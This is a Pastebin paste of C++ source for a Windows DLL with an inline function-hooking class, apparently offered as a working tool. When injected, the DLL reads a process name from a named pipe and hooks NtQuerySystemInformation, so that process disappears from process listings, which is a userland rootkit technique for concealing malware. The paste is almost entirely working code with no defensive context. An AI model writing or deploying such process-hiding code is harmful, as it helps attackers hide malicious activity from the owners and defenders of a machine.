Guest User

Untitled

a guest
Dec 11th, 2018
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.40 KB | None | 0 0
  1. #include "FunctionHooker.h"
  2. #include <Windows.h>
  3.  
  4. int FunctionHooker::HookFunction32(void* hookedFunctionAddress, void* replacementFunctionAddress, HookStruct32* hook)
  5. {
  6. if (hook->Valid)
  7. {
  8. return 0;
  9. }
  10.  
  11. int replacementAddress = (int)replacementFunctionAddress;
  12. int offset = 0;
  13. unsigned char lastByte = 0;
  14. SIZE_T numWritten = 0;
  15.  
  16. if (!ReadProcessMemory(GetCurrentProcess(), hookedFunctionAddress, hook->OriginalBytes, 6, NULL))
  17. {
  18. return 0;
  19. }
  20.  
  21. hook->OriginalFunction = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  22.  
  23. if (!hook->OriginalFunction)
  24. {
  25. return 0;
  26. }
  27.  
  28. if (!RtlSecureZeroMemory(hook->OriginalFunction, 1024))
  29. {
  30. return 0;
  31. }
  32.  
  33. hook->ReplacementBytes[0] = 0x68; // push
  34. hook->ReplacementBytes[5] = 0xc3; // retn
  35.  
  36. if (!WriteProcessMemory(GetCurrentProcess(), hook->ReplacementBytes + 1, &replacementAddress, 4, NULL))
  37. {
  38. return 0;
  39. }
  40.  
  41.  
  42. do
  43. {
  44. if (!WriteProcessMemory(GetCurrentProcess(), ((char*)hook->OriginalFunction) + offset, ((char*)hookedFunctionAddress) + offset, 1, &numWritten))
  45. {
  46. return 0;
  47. }
  48.  
  49. if (offset > 0)
  50. {
  51. lastByte = *(((char*)hook->OriginalFunction) + offset - 1);
  52.  
  53. if (lastByte == 0xc2)
  54. {
  55. break;
  56. }
  57. }
  58.  
  59. lastByte = *(((char*)hook->OriginalFunction) + offset);
  60.  
  61. if (lastByte == 0xc3)
  62. {
  63. break;
  64. }
  65.  
  66. offset += numWritten;
  67.  
  68. if (offset > 1024)
  69. {
  70. return 0;
  71. }
  72. } while (1);
  73.  
  74.  
  75. if (!WriteProcessMemory(GetCurrentProcess(), hookedFunctionAddress, hook->ReplacementBytes, 6, NULL))
  76. {
  77. return 0;
  78. }
  79.  
  80. hook->OriginalFunctionAddress = hookedFunctionAddress;
  81. hook->Valid = 1;
  82.  
  83. return 1;
  84. }
  85.  
  86. int FunctionHooker::HookFunction64(void* hookedFunctionAddress, void* replacementFunctionAddress, HookStruct64* hook)
  87. {
  88. if (hook->Valid)
  89. {
  90. return 0;
  91. }
  92.  
  93. long long replacementAddress = (long long)replacementFunctionAddress;
  94. int offset = 0;
  95. unsigned char lastByte = 0;
  96. SIZE_T numWritten = 0;
  97.  
  98. if (!ReadProcessMemory(GetCurrentProcess(), hookedFunctionAddress, hook->OriginalBytes, 12, NULL))
  99. {
  100. return 0;
  101. }
  102.  
  103. hook->OriginalFunction = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  104.  
  105. if (!hook->OriginalFunction)
  106. {
  107. return 0;
  108. }
  109.  
  110. if (!RtlSecureZeroMemory(hook->OriginalFunction, 1024))
  111. {
  112. return 0;
  113. }
  114.  
  115. hook->ReplacementBytes[0] = 0x48; // using 64 bit operand
  116. hook->ReplacementBytes[1] = 0xb8; // mov rax
  117. hook->ReplacementBytes[10] = 0x50; // push rax
  118. hook->ReplacementBytes[11] = 0xc3; // retn
  119.  
  120. if (!WriteProcessMemory(GetCurrentProcess(), hook->ReplacementBytes + 2, &replacementAddress, 8, NULL))
  121. {
  122. return 0;
  123. }
  124.  
  125. do
  126. {
  127. if (!WriteProcessMemory(GetCurrentProcess(), ((char*)hook->OriginalFunction) + offset, ((char*)hookedFunctionAddress) + offset, 1, &numWritten))
  128. {
  129. return 0;
  130. }
  131.  
  132. if (offset > 0)
  133. {
  134. lastByte = *(((char*)hook->OriginalFunction) + offset - 1);
  135.  
  136. if (lastByte == 0xc2)
  137. {
  138. break;
  139. }
  140. }
  141.  
  142. lastByte = *(((char*)hook->OriginalFunction) + offset);
  143.  
  144. if (lastByte == 0xc3)
  145. {
  146. break;
  147. }
  148.  
  149. offset += numWritten;
  150.  
  151. if (offset > 1024)
  152. {
  153. return 0;
  154. }
  155.  
  156. } while (1);
  157.  
  158.  
  159.  
  160. if (!WriteProcessMemory(GetCurrentProcess(), hookedFunctionAddress, hook->ReplacementBytes, 12, NULL))
  161. {
  162. return 0;
  163. }
  164.  
  165. hook->OriginalFunctionAddress = hookedFunctionAddress;
  166. hook->Valid = 1;
  167.  
  168. return 1;
  169. }
  170.  
  171. int FunctionHooker::UnhookFunction32(HookStruct32* hook)
  172. {
  173. if (hook->Valid)
  174. {
  175. if (WriteProcessMemory(GetCurrentProcess(), hook->OriginalFunctionAddress, hook->OriginalBytes, 6, NULL))
  176. {
  177. hook->Valid = 0;
  178.  
  179. if (VirtualFree(hook->OriginalFunction, 0, MEM_RELEASE))
  180. {
  181. return 1;
  182. }
  183.  
  184. return 0;
  185. }
  186. }
  187.  
  188. return 0;
  189. }
  190.  
  191. int FunctionHooker::UnhookFunction64(HookStruct64* hook)
  192. {
  193. if (hook->Valid)
  194. {
  195. if (WriteProcessMemory(GetCurrentProcess(), hook->OriginalFunctionAddress, hook->OriginalBytes, 10, NULL))
  196. {
  197. hook->Valid = 0;
  198.  
  199. if (VirtualFree(hook->OriginalFunction, 0, MEM_RELEASE))
  200. {
  201. return 1;
  202. }
  203.  
  204. return 0;
  205. }
  206. }
  207.  
  208. return 0;
  209. }
  210.  
  211. #pragma once
  212.  
  213. struct HookStruct32
  214. {
  215. char Valid = 0;
  216. char OriginalBytes[6];
  217. char ReplacementBytes[6];
  218. void* OriginalFunction;
  219. void* OriginalFunctionAddress;
  220. };
  221.  
  222. struct HookStruct64
  223. {
  224. char Valid = 0;
  225. char OriginalBytes[12];
  226. char ReplacementBytes[12];
  227. void* OriginalFunction;
  228. void* OriginalFunctionAddress;
  229. };
  230.  
  231. #include <Windows.h>
  232. #include "FunctionHooker.h"
  233. #include <winternl.h>
  234. #include "Console.h"
  235.  
  236. #if _WIN64
  237. #define HookStruct HookStruct64
  238. #elif _WIN32
  239. #define HookStruct HookStruct32
  240. #endif
  241.  
  242. #ifndef HookStruct
  243. #error Not compiling on x86 or x64...
  244. #endif
  245.  
  246. HookStruct hookData;
  247.  
  248. UNICODE_STRING hiddenName;
  249.  
  250. Console con;
  251.  
  252. typedef NTSTATUS (*_OriginalNtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);
  253. typedef void(*_RtlInitAnsiString)(PANSI_STRING, PCSZ);
  254. typedef NTSTATUS(*_RtlAnsiStringToUnicodeString)(PUNICODE_STRING, PCANSI_STRING, BOOL);
  255.  
  256. NTSTATUS __stdcall MyNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength)
  257. {
  258. _OriginalNtQuerySystemInformation OriginalNtQuerySystemInformation = (_OriginalNtQuerySystemInformation) hookData.OriginalFunction;
  259.  
  260. NTSTATUS result = OriginalNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
  261.  
  262. if (SystemInformationLength <= 0)
  263. {
  264. return result;
  265. }
  266.  
  267. if (SystemInformationClass == SystemProcessInformation)
  268. {
  269. SYSTEM_PROCESS_INFORMATION* processInfo;
  270. SYSTEM_PROCESS_INFORMATION* previousProcessInfo;
  271.  
  272. char* systemInformationBuffer = (char*) SystemInformation;
  273. int offset = 0;
  274.  
  275. do
  276. {
  277. processInfo = ((SYSTEM_PROCESS_INFORMATION*) (systemInformationBuffer + offset));
  278.  
  279. if (lstrcmpiW(processInfo->ImageName.Buffer, hiddenName.Buffer) == 0)
  280. {
  281. if (processInfo->NextEntryOffset == 0)
  282. {
  283. previousProcessInfo->NextEntryOffset = 0;
  284. }
  285. else
  286. {
  287. unsigned long nextOffset = previousProcessInfo->NextEntryOffset;
  288.  
  289. nextOffset += processInfo->NextEntryOffset;
  290.  
  291. previousProcessInfo->NextEntryOffset = nextOffset;
  292. }
  293. }
  294.  
  295. previousProcessInfo = processInfo;
  296.  
  297. offset += processInfo->NextEntryOffset;
  298. } while (processInfo->NextEntryOffset != 0);
  299. }
  300.  
  301. return result;
  302. }
  303.  
  304.  
  305. BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
  306. {
  307. HANDLE pipe = INVALID_HANDLE_VALUE;
  308. FunctionHooker hooker;
  309. HMODULE ntdllBase;
  310. BOOL isWowProcess;
  311. BOOL wowCheckFailed = 0;
  312. void* ntQueryAddr;
  313. void* rtlInitAddr;
  314. void* rtlAnsiToUnicodeAddr;
  315.  
  316.  
  317. switch (ul_reason_for_call)
  318. {
  319. case DLL_PROCESS_ATTACH:
  320.  
  321. ntdllBase = LoadLibraryA("ntdll.dll");
  322.  
  323. ntQueryAddr = GetProcAddress(ntdllBase, "NtQuerySystemInformation");
  324. rtlInitAddr = GetProcAddress(ntdllBase, "RtlInitAnsiString");
  325. rtlAnsiToUnicodeAddr = GetProcAddress(ntdllBase, "RtlAnsiStringToUnicodeString");
  326.  
  327. pipe = CreateFileW(L"\\.\pipe\UnmanagerPipe", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
  328.  
  329. if (pipe != INVALID_HANDLE_VALUE)
  330. {
  331. DWORD bytesRead;
  332.  
  333. char readBuffer[MAX_PATH];
  334.  
  335. while (!ReadFile(pipe, readBuffer, MAX_PATH, &bytesRead, NULL))
  336. {
  337. Sleep(5);
  338. }
  339.  
  340. _RtlInitAnsiString MyRtlInitAnsiString;
  341. _RtlAnsiStringToUnicodeString MyRtlAnsiStringToUnicodeString;
  342.  
  343. if (rtlInitAddr)
  344. {
  345. MyRtlInitAnsiString = (_RtlInitAnsiString) rtlInitAddr;
  346.  
  347. if (rtlAnsiToUnicodeAddr)
  348. {
  349. MyRtlAnsiStringToUnicodeString = (_RtlAnsiStringToUnicodeString) rtlAnsiToUnicodeAddr;
  350.  
  351. ANSI_STRING originalString;
  352.  
  353. MyRtlInitAnsiString(&originalString, readBuffer);
  354.  
  355. NTSTATUS status = MyRtlAnsiStringToUnicodeString(&hiddenName, &originalString, true);
  356.  
  357. if (NT_SUCCESS(status))
  358. {
  359. if (ntQueryAddr)
  360. {
  361. #if _WIN64
  362. hooker.HookFunction64(ntQueryAddr, &MyNtQuerySystemInformation, &hookData);
  363. #elif _WIN32
  364. hooker.HookFunction32(ntQueryAddr, &MyNtQuerySystemInformation, &hookData);
  365. #endif
  366. }
  367. }
  368. }
  369. }
  370.  
  371. CloseHandle(pipe);
  372. }
  373.  
  374. break;
  375. case DLL_THREAD_ATTACH:
  376. break;
  377. case DLL_THREAD_DETACH:
  378. break;
  379. case DLL_PROCESS_DETACH:
  380. break;
  381. }
  382. return TRUE;
  383. }
Add Comment
Please, Sign In to add comment